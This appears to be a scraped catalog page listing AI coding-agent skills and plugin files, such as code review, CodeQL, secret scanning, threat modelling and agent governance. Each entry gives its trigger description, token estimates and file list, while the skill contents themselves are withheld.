bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-guidelines.mddoc11,372 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-decision-guide.mddoc32,964 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-patterns.mddoc30,751 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/direct-lake-guidelines.mddoc3,228 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/metadata-discovery.mddoc7,228 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/modeling-guidelines.mddoc16,659 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/naming-conventions.mddoc4,373 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/pbip.mddoc3,977 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-ai-readiness.mddoc12,767 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-rest-api.mddoc20,321 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/tmdl-guidelines.mddoc16,442 bytes../../../harness/claude-code/plugins/fastah-ip-geo-tools/.claude-plugin/plugin.jsonasset654 bytes../../../harness/claude-code/plugins/feedback-themes/.claude-plugin/plugin.jsonasset435 bytes../../../harness/claude-code/plugins/flight-map-canvas/.claude-plugin/plugin.jsonasset527 bytes../../../harness/claude-code/plugins/flowstudio-power-automate/.claude-plugin/plugin.jsonasset652 bytes../../../harness/claude-code/plugins/frontend-experience/.claude-plugin/plugin.jsonasset481 bytes../../../harness/claude-code/plugins/frontend-web-dev/.claude-plugin/plugin.jsonasset503 bytes../../../harness/claude-code/plugins/gem-team/.claude-plugin/plugin.jsonasset649 bytes../../../harness/claude-code/plugins/gesture-review/.claude-plugin/plugin.jsonasset412 bytes../../../harness/claude-code/plugins/git-github-workflow/.claude-plugin/plugin.jsonasset530 bytes../../../harness/claude-code/plugins/github-actions-maintenance/.claude-plugin/plugin.jsonasset606 bytes../../../harness/claude-code/plugins/go-mcp-development/.claude-plugin/plugin.jsonasset580 bytes../../../harness/claude-code/plugins/go-to-market/.claude-plugin/plugin.jsonasset549 bytes../../../harness/claude-code/plugins/incident-response/.claude-plugin/plugin.jsonasset572 bytes../../../harness/claude-code/plugins/iot-embedded-systems/.claude-plugin/plugin.jsonasset506 bytes../../../harness/claude-code/plugins/java-development/.claude-plugin/plugin.jsonasset469 bytes../../../harness/claude-code/plugins/java-kotlin-development/.claude-plugin/plugin.jsonasset523 bytes../../../harness/claude-code/plugins/java-mcp-development/.claude-plugin/plugin.jsonasset539 bytes../../../harness/claude-code/plugins/java-modernization-studio/.claude-plugin/plugin.jsonasset616 bytes../../../harness/claude-code/plugins/kotlin-mcp-development/.claude-plugin/plugin.jsonasset611 bytes../../../harness/claude-code/plugins/learning-and-mentoring/.claude-plugin/plugin.jsonasset568 bytes../../../harness/claude-code/plugins/linux-operations/.claude-plugin/plugin.jsonasset515 bytes../../../harness/claude-code/plugins/mainframe-cobol-db2-classic/.claude-plugin/plugin.jsonasset565 bytes../../../harness/claude-code/plugins/mainframe-cobol-db2/.claude-plugin/plugin.jsonasset540 bytes../../../harness/claude-code/plugins/mainframe-natural-adabas-classic/.claude-plugin/plugin.jsonasset580 bytes../../../harness/claude-code/plugins/mainframe-natural-adabas/.claude-plugin/plugin.jsonasset572 bytes../../../harness/claude-code/plugins/mcp-development/.claude-plugin/plugin.jsonasset544 bytes../../../harness/claude-code/plugins/mcp-m365-copilot/.claude-plugin/plugin.jsonasset486 bytes../../../harness/claude-code/plugins/microsoft-365-data-platform/.claude-plugin/plugin.jsonasset553 bytes../../../harness/claude-code/plugins/napkin/.claude-plugin/plugin.jsonasset675 bytes../../../harness/claude-code/plugins/noob-mode/.claude-plugin/plugin.jsonasset560 bytes../../../harness/claude-code/plugins/open-horizons-platform/.claude-plugin/plugin.jsonasset873 bytes../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/claude-code/plugins/open-horizons-platform/hooks/hooks.jsonasset502 bytes../../../harness/claude-code/plugins/open-horizons-platform/hooks/hooks.jsonasset502 bytes../../../harness/claude-code/plugins/open-horizons-platform/hooks/hooks.jsonasset502 bytes../../../harness/claude-code/plugins/openapi-to-application-csharp-dotnet/.claude-plugin/plugin.jsonasset538 bytes../../../harness/claude-code/plugins/openapi-to-application-go/.claude-plugin/plugin.jsonasset493 bytes../../../harness/claude-code/plugins/openapi-to-application-java-spring-boot/.claude-plugin/plugin.jsonasset536 bytes../../../harness/claude-code/plugins/openapi-to-application-nodejs-nestjs/.claude-plugin/plugin.jsonasset542 bytes../../../harness/claude-code/plugins/openapi-to-application-python-fastapi/.claude-plugin/plugin.jsonasset522 bytes../../../harness/claude-code/plugins/oracle-to-postgres-migration-expert/.claude-plugin/plugin.jsonasset609 bytes../../../harness/claude-code/plugins/ospo-sponsorship/.claude-plugin/plugin.jsonasset420 bytes../../../harness/claude-code/plugins/ospo-sponsorship/.claude-plugin/plugin.jsonasset420 bytes../../../harness/claude-code/plugins/partners/.claude-plugin/plugin.jsonasset454 bytes../../../harness/claude-code/plugins/pcf-development/.claude-plugin/plugin.jsonasset455 bytes../../../harness/claude-code/plugins/phoenix/.claude-plugin/plugin.jsonasset533 bytes../../../harness/claude-code/plugins/php-mcp-development/.claude-plugin/plugin.jsonasset556 bytes../../../harness/claude-code/plugins/platform-vendor-expertise/.claude-plugin/plugin.jsonasset474 bytes../../../harness/claude-code/plugins/power-apps-code-apps/.claude-plugin/plugin.jsonasset560 bytes../../../harness/claude-code/plugins/power-bi-development/.claude-plugin/plugin.jsonasset615 bytes../../../harness/claude-code/plugins/power-platform-architect/.claude-plugin/plugin.jsonasset515 bytes../../../harness/claude-code/plugins/power-platform-mcp-connector-development/.claude-plugin/plugin.jsonasset488 bytes../../../harness/claude-code/plugins/pr-artifact-explorer/.claude-plugin/plugin.jsonasset486 bytes../../../harness/claude-code/plugins/pr-artifact-explorer/.claude-plugin/plugin.jsonasset486 bytes../../../harness/claude-code/plugins/project-documenter/.claude-plugin/plugin.jsonasset670 bytes../../../harness/claude-code/plugins/project-planning/.claude-plugin/plugin.jsonasset537 bytes../../../harness/claude-code/plugins/python-mcp-development/.claude-plugin/plugin.jsonasset560 bytes../../../harness/claude-code/plugins/qdrant-development/.claude-plugin/plugin.jsonasset581 bytes../../../harness/claude-code/plugins/react18-upgrade/.claude-plugin/plugin.jsonasset614 bytes../../../harness/claude-code/plugins/react19-upgrade/.claude-plugin/plugin.jsonasset652 bytes../../../harness/claude-code/plugins/react19-upgrade/.claude-plugin/plugin.jsonasset652 bytes../../../harness/claude-code/plugins/red-hat-developer-hub/.claude-plugin/plugin.jsonasset521 bytes../../../harness/claude-code/plugins/release-notes-showcase/.claude-plugin/plugin.jsonasset427 bytes../../../harness/claude-code/plugins/repo-actions-hub/.claude-plugin/plugin.jsonasset444 bytes../../../harness/claude-code/plugins/repo-documentation/.claude-plugin/plugin.jsonasset522 bytes../../../harness/claude-code/plugins/roundup/.claude-plugin/plugin.jsonasset550 bytes../../../harness/claude-code/plugins/ruby-mcp-development/.claude-plugin/plugin.jsonasset490 bytes../../../harness/claude-code/plugins/rug-agentic-workflow/.claude-plugin/plugin.jsonasset454 bytes../../../harness/claude-code/plugins/rust-mcp-development/.claude-plugin/plugin.jsonasset539 bytes../../../harness/claude-code/plugins/salesforce-development/.claude-plugin/plugin.jsonasset524 bytes../../../harness/claude-code/plugins/security-best-practices/.claude-plugin/plugin.jsonasset560 bytes../../../harness/claude-code/plugins/signals-dashboard/.claude-plugin/plugin.jsonasset396 bytes../../../harness/claude-code/plugins/site-studio/.claude-plugin/plugin.jsonasset484 bytes../../../harness/claude-code/plugins/skill-image-gen/.claude-plugin/plugin.jsonasset606 bytes../../../harness/claude-code/plugins/software-engineering-team/.claude-plugin/plugin.jsonasset492 bytes../../../harness/claude-code/plugins/spec-driven-development/.claude-plugin/plugin.jsonasset549 bytes../../../harness/claude-code/plugins/structured-autonomy/.claude-plugin/plugin.jsonasset259 bytes../../../harness/claude-code/plugins/swift-mcp-development/.claude-plugin/plugin.jsonasset551 bytes../../../harness/claude-code/plugins/technical-spike/.claude-plugin/plugin.jsonasset484 bytes../../../harness/claude-code/plugins/testing-automation/.claude-plugin/plugin.jsonasset526 bytes../../../harness/claude-code/plugins/testing-frameworks/.claude-plugin/plugin.jsonasset570 bytes../../../harness/claude-code/plugins/the-workshop/.claude-plugin/plugin.jsonasset600 bytes../../../harness/claude-code/plugins/tiny-tool-town-submitter/.claude-plugin/plugin.jsonasset454 bytes../../../harness/claude-code/plugins/token-pacman/.claude-plugin/plugin.jsonasset435 bytes../../../harness/claude-code/plugins/typescript-mcp-development/.claude-plugin/plugin.jsonasset566 bytes../../../harness/claude-code/plugins/typespec-m365-copilot/.claude-plugin/plugin.jsonasset536 bytes../../../harness/claude-code/plugins/uizze/.claude-plugin/plugin.jsonasset539 bytes../../../harness/claude-code/plugins/ux-design-tooling/.claude-plugin/plugin.jsonasset556 bytes../../../harness/claude-code/plugins/visual-pr/.claude-plugin/plugin.jsonasset623 bytes../../../harness/claude-code/plugins/web-framework-development/.claude-plugin/plugin.jsonasset583 bytes../../../harness/claude-code/plugins/where-was-i/.claude-plugin/plugin.jsonasset442 bytes../../../harness/claude-code/plugins/windows-app-storage-inspector-cleanup/.claude-plugin/plugin.jsonasset437 bytes../../../harness/claude-code/plugins/work-hub/.claude-plugin/plugin.jsonasset465 bytes../../../harness/github-copilot/hooks/attester-import-check/hooks.jsonasset278 bytes../../../harness/github-copilot/hooks/dependency-license-checker/hooks.jsonasset282 bytes../../../harness/github-copilot/hooks/fix-broken-links/hooks.jsonasset268 bytes../../../harness/github-copilot/hooks/governance-audit/hooks.jsonasset683 bytes../../../harness/github-copilot/hooks/secrets-scanner/hooks.jsonasset298 bytes../../../harness/github-copilot/hooks/session-auto-commit/hooks.jsonasset211 bytes../../../harness/github-copilot/hooks/session-logger/hooks.jsonasset621 bytes../../../harness/github-copilot/hooks/tool-guardian/hooks.jsonasset264 bytes../../../harness/github-copilot/plugins/backstage-expert/hooks/backstage-safety/hooks.jsonasset257 bytes../../../harness/github-copilot/plugins/backstage-expert/hooks/backstage-safety/hooks.jsonasset257 bytes../../../harness/github-copilot/plugins/backstage-expert/hooks/backstage-safety/hooks.jsonasset257 bytes../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubiac-review
When your agent uses it
Use when reviewing Terraform, Bicep, or CloudFormation, checking drift, or hardening infrastructure code. Triggers include "review terraform", "review bicep", "IaC review", "drift detection", and "state file".
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
932 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Review checklist
- Common findings
- Output template
- Quality gate
- References
Files
SKILL.mdcore3,977 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpostgresql-code-review
When your agent uses it
Review existing PostgreSQL SQL, schema, and functions for PostgreSQL-specific anti-patterns, quality, and security — JSONB operations, array usage, custom types, schema design, function optimization, and Row Level Security (RLS). Use when the user asks to review, audit, or critique existing PostgreSQL code or a migration. To author or optimize new PostgreSQL features, use postgresql-optimization.
What it loads into context
Frontmatter
93 tokensAlways available to the agent
SKILL.md
2,235 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- PostgreSQL-Specific Review Areas
- PostgreSQL-Specific Anti-Patterns
- PostgreSQL Extension Usage Review
- PostgreSQL Security Review
- PostgreSQL Code Quality Checklist
- PostgreSQL-Specific Review Guidelines
- Output template
- Quality gate
Files
SKILL.mdcore9,833 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubskill-creator
When your agent uses it
Create, audit, repair, and improve GitHub Copilot Agent Skills for VS Code, GitHub Copilot CLI, and GitHub Copilot cloud agent. Use when a user asks to create a skill, generate a SKILL.md, convert a workflow into a reusable skill, audit an existing skill, fix skill loading issues, optimize a skill description, validate frontmatter, or add references/scripts/assets to a skill package.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
1,523 tokensWhen the skill is activated
Reference documents
1,098 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Required skill format
- Workflow
- Validation checklist
- Bundled resources
- Notes for portability
Scripts executed separately
eval-viewer/generate_review.pyscripts/validate_skill.py../../../harness/github-copilot/scripts/generate_catalog.py../../../harness/github-copilot/scripts/generate_catalog.py../../../harness/github-copilot/scripts/generate_catalog.py../../../harness/github-copilot/scripts/generate_catalog.py../../../harness/github-copilot/scripts/generate_catalog.py../../../harness/github-copilot/scripts/generate_catalog.py../../../harness/github-copilot/scripts/generate_catalog.py
Files
SKILL.mdcore7,046 bytesSKILL.mdcore7,046 bytesSKILL.mdcore7,046 bytesassets/eval_review.htmlasset5,152 byteseval-viewer/generate_review.pyruns10,228 bytesreferences/schemas.mddoc3,465 bytesscripts/validate_skill.pyruns11,468 bytes../../../harness/README.mddoc453 bytes../../../harness/github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../harness/github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../harness/github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../harness/github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../harness/github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../harness/github-copilot/scripts/generate_catalog.pyruns34,538 bytes../../../harness/github-copilot/scripts/generate_catalog.pyruns34,538 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubacreadiness-assess
When your agent uses it
Run the AgentRC AI-readiness assessment for the current repository, optionally apply a policy, and produce a self-contained HTML dashboard at reports/index.html. Use when asked to assess, audit, score, or report how AI-ready a repo is.
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
1,205 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Prerequisites and context
- Procedure
- Dashboard content requirements
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore5,026 bytesSKILL.mdcore5,026 bytesSKILL.mdcore5,026 bytesreport-template.htmlasset11,839 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubacreadiness-generate-instructions
When your agent uses it
Generate tailored AI agent instruction files with the AgentRC instructions command, including .github/copilot-instructions.md, AGENTS.md, scoped .github/instructions/*.instructions.md files with applyTo globs, and optional CLAUDE.md output. Use after /acreadiness-assess to close AI Tooling gaps or when the user wants to create, regenerate, refresh, preview, or choose output options for custom instructions.
What it loads into context
Frontmatter
166 tokensAlways available to the agent
SKILL.md
2,157 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Output options
- Strategy choices
- Area-scoped instructions
- Procedure
- Topic applyTo defaults
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore8,668 bytesSKILL.mdcore8,668 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubacreadiness-policy
When your agent uses it
Help the user pick, write, or apply an AgentRC policy. Policies customise readiness scoring by disabling irrelevant checks, overriding impact/level, setting pass-rate thresholds, or chaining org baselines with team overrides. Use when the user asks about strict mode, AI-only scoring, custom weights, CI gating, or wants org-wide standardisation.
What it loads into context
Frontmatter
129 tokensAlways available to the agent
SKILL.md
1,530 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Policy model
- Scoring and thresholds
- Procedure
- Commands and CI examples
- Operating rules
- Output template
- Quality gate
Files
SKILL.mdcore6,008 bytesSKILL.mdcore6,008 bytesSKILL.mdcore6,008 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubagent-governance
When your agent uses it
Design governance, safety, policy enforcement, trust scoring, and audit controls for AI agent systems. Use when building agents with external tools, policy-based tool access, semantic intent classification, dangerous prompt detection, multi-agent trust workflows, rate limits, content filters, or audit trails across PydanticAI, CrewAI, OpenAI Agents, LangChain, or AutoGen.
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
1,595 tokensWhen the skill is activated
Reference documents
3,444 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Governance flow
- Governance levels
- Control patterns
- Implementation checklist
- Framework integration cues
- Criteria
- Gotchas
- Progressive disclosure and bundled resources
- Environment shorthand
- Output template
- Quality gate
- References
Files
SKILL.mdcore7,496 bytesreferences/pattern-implementations.mddoc14,738 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubagent-owasp-compliance
When your agent uses it
Evaluate AI agent systems against OWASP Agentic Security Initiative Top 10 controls. Use when asked whether an agent is OWASP ASI compliant, to check ASI compliance, run an agentic security audit, map controls to ASI-01 through ASI-10, or generate a compliance report before production deployment.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
2,389 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- ASI risk map
- Control evidence
- Implementation search terms
- Quick assessment questions
- Gotchas
- Output template
- Quality gate
- References
Files
SKILL.mdcore9,780 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubagent-supply-chain
When your agent uses it
Verify supply chain integrity for AI agent plugins, MCP servers, tools, and dependencies by generating SHA-256 manifests, verifying installed files, auditing pinned versions, and enforcing promotion gates. Use when asked to verify plugin integrity, generate INTEGRITY.json, check supply chain, detect tampering, audit dependency pinning, sign this plugin, or promote dev → staging → production.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
2,504 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Integrity model
- Manifest format
- Core algorithms
- Promotion gate
- CI integration
- Best practices
- Implementation names
- Output template
- Quality gate
- References
Files
SKILL.mdcore10,080 bytesSKILL.mdcore10,080 bytesSKILL.mdcore10,080 bytesSKILL.mdcore10,080 bytesSKILL.mdcore10,080 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaudit-integrity
When your agent uses it
Enforce AppSec audit integrity for security analysis, code review, threat modeling, SAST, SCA, and quality scan agents. Use this skill when running a post-analysis quality gate, preventing rationalization, retrying failed evidence collection, running a second-pass self-critique, scoring output from 1-10 with a ≥8 threshold, or recording governed lessons or memories.
What it loads into context
Frontmatter
119 tokensAlways available to the agent
SKILL.md
1,585 tokensWhen the skill is activated
Reference documents
2,775 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Integrity components
- Procedure
- Agent-specific adaptation
- Criteria
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore7,417 bytesSKILL.mdcore7,417 bytesreferences/anti-rationalization-guard.mddoc4,044 bytesreferences/clarification-protocol.mddoc971 bytesreferences/non-negotiable-behaviors.mddoc1,469 bytesreferences/retry-protocol.mddoc560 bytesreferences/self-critique-loop.mddoc2,592 bytesreferences/self-learning-system.mddoc2,330 bytesreferences/self-reflection-quality-gate.mddoc2,438 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubai-team-orchestration
When your agent uses it
Bootstrap and run a lightweight multi-agent development team. Use when starting or adopting a project, planning multi-step work, coordinating implementation with optional QA, brainstorming with distinct perspectives, or preserving PROJECT_BRIEF context across sessions.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,462 tokensWhen the skill is activated
Reference documents
1,751 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Team roles
- Proportional workflow
- Start or adopt a project
- Execution rules
- Brainstorming and context recovery
- Tool and model inheritance
- Progressive disclosure and bundled resources
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore7,213 bytesreferences/anti-patterns.mddoc1,539 bytesreferences/brainstorm-format.mddoc3,386 bytesreferences/project-brief-template.mddoc1,540 bytesreferences/sprint-plan-template.mddoc1,438 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcodeql
When your agent uses it
Configure and run CodeQL code scanning with GitHub Actions workflows, default or advanced setup, CodeQL CLI databases, SARIF uploads, custom query packs, monorepo categories, build modes, and alert triage. Use this skill when the user asks to create or customize codeql.yml, choose CodeQL setup, configure a language matrix, run codeql database create or database analyze, upload SARIF, troubleshoot CodeQL builds, or interpret code scanning alerts.
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
3,003 tokensWhen the skill is activated
Reference documents
12,707 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Supported languages
- GitHub Actions workflow
- Configuration choices
- CodeQL CLI workflow
- Alerts, logs, and limits
- Troubleshooting
- Progressive disclosure and bundled resources
- Technical index
- Output template
- Quality gate
- References
Files
SKILL.mdcore12,299 bytesSKILL.mdcore12,299 bytesSKILL.mdcore12,299 bytesSKILL.mdcore12,299 bytesSKILL.mdcore12,299 bytesSKILL.mdcore12,299 bytesSKILL.mdcore12,299 bytesSKILL.mdcore12,299 bytesreferences/alert-management.mddoc6,462 bytesreferences/cli-commands.mddoc8,388 bytesreferences/compiled-languages.mddoc9,363 bytesreferences/sarif-output.mddoc9,935 bytesreferences/troubleshooting.mddoc9,161 bytesreferences/workflow-configuration.mddoc8,716 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdata-breach-blast-radius
When your agent uses it
Pre-breach impact analysis: inventories sensitive data (PII, PHI, PCI-DSS, credentials), traces data flows, scores exposure vectors, and produces a regulatory blast radius report with fine ranges sourced verbatim from GDPR Art. 83, CCPA § 1798.155(a), and HIPAA 45 CFR § 160.404. Cost benchmarks from IBM Cost of a Data Breach Report (annually updated). All citations in references/SOURCES.md for verification. Use when asked: "assess breach impact", "what data could be exposed", "calculate blast radius", "data exposure analysis", "how bad would a breach be", "quantify data risk", "sensitive data inventory", "data flow security audit", "pre-breach assessment", "worst-case breach scenario", "breach readiness", "data risk report", "/data-breach-blast-radius". For any stack handling user data, health records, or financial information. Output labels law-sourced figures (exact) vs heuristic estimates (planning only). Does not replace legal counsel.
What it loads into context
Frontmatter
249 tokensAlways available to the agent
SKILL.md
3,818 tokensWhen the skill is activated
Reference documents
18,988 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Impact model
- Procedure
- Output rules
- Severity tiers for blast radius
- Progressive disclosure and bundled resources
- Output template
- Quality gate
- References
Files
SKILL.mdcore16,721 bytesSKILL.mdcore16,721 bytesreferences/SOURCES.mddoc11,571 bytesreferences/blast-radius-calculator.mddoc10,496 bytesreferences/data-classification.mddoc8,930 bytesreferences/hardening-playbook.mddoc14,283 bytesreferences/regulatory-impact.mddoc15,124 bytesreferences/report-format.mddoc10,456 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgdpr-compliant
When your agent uses it
Apply GDPR-compliant engineering practices across code, APIs, data models, authentication, logging, retention, deletion jobs, cloud infrastructure, and pull requests. Use this skill when handling personal data, user accounts, cookies, analytics, emails, audit logs, encryption, pseudonymization, anonymization, data exports, breach response, CI/CD pipelines with real data, or questions asking whether a design is GDPR-compliant.
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
2,821 tokensWhen the skill is activated
Reference documents
4,249 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Core GDPR principles
- Privacy by design and data minimization
- Storage limitation, retention, and erasure
- API, logging, and error handling rules
- Security, encryption, and secrets
- Testing, infrastructure, and PR review
- Progressive disclosure and bundled resources
- GDPR vocabulary and examples
- Output template
- Quality gate
Files
SKILL.mdcore12,609 bytesSKILL.mdcore12,609 bytesreferences/Security.mddoc11,886 bytesreferences/data-rights.mddoc6,543 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsecret-scanning
When your agent uses it
Configure and manage GitHub secret scanning, push protection, custom patterns, exclusions, alert triage, remediation, bypass workflows, and pre-commit secret scans through the Advanced Security plugin. Use this skill when enabling secret scanning, resolving blocked pushes, writing secret_scanning.yml, creating regex patterns, triaging alerts, or scanning code before committing.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
2,016 tokensWhen the skill is activated
Reference documents
4,126 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- How secret scanning works
- Procedure
- Exclusions
- Blocked push resolution
- Custom patterns
- Alert management
- Pre-commit scanning via AI coding agents
- Progressive disclosure and bundled resources
- Secret scanning terminology
- Output template
- Quality gate
- References
Files
SKILL.mdcore9,208 bytesSKILL.mdcore9,208 bytesreferences/alerts-and-remediation.mddoc7,479 bytesreferences/custom-patterns.mddoc5,613 bytesreferences/push-protection.mddoc6,049 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsecurity-review
When your agent uses it
Scan codebases and files for exploitable security vulnerabilities by tracing data flows, dependencies, secrets, authentication, authorization, injection, cryptography, and business logic issues. Use when asked to scan code, review for security issues, audit a codebase, check vulnerabilities, find SQL injection, XSS, command injection, exposed API keys, hardcoded secrets, insecure dependencies, or run /security-review.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
1,781 tokensWhen the skill is activated
Reference documents
7,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Vulnerability categories
- Severity guide
- Output rules
- Progressive disclosure and bundled resources
- Output template
Files
SKILL.mdcore7,791 bytesSKILL.mdcore7,791 bytesSKILL.mdcore7,791 bytesreferences/language-patterns.mddoc5,346 bytesreferences/report-format.mddoc6,528 bytesreferences/secret-patterns.mddoc3,524 bytesreferences/vuln-categories.mddoc7,913 bytesreferences/vulnerable-packages.mddoc3,978 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubthreat-model-analyst
When your agent uses it
Produce full or incremental STRIDE-A threat models for repositories and systems, including architecture overviews, DFD diagrams, findings, STRIDE heatmaps, and executive assessment. Use when the user asks to threat model a repo, refresh an existing threat-model-* report, compare commits or reports, identify trust boundary risks, or map findings to CVSS 4.0, CWE, and OWASP.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
2,333 tokensWhen the skill is activated
Reference documents
82,662 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Mode selection
- STRIDE-A analysis map
- Report artifacts
- Progressive disclosure and bundled resources
- Gotchas
- Baseline terminology and continuity
- Output template
- Quality gate
Files
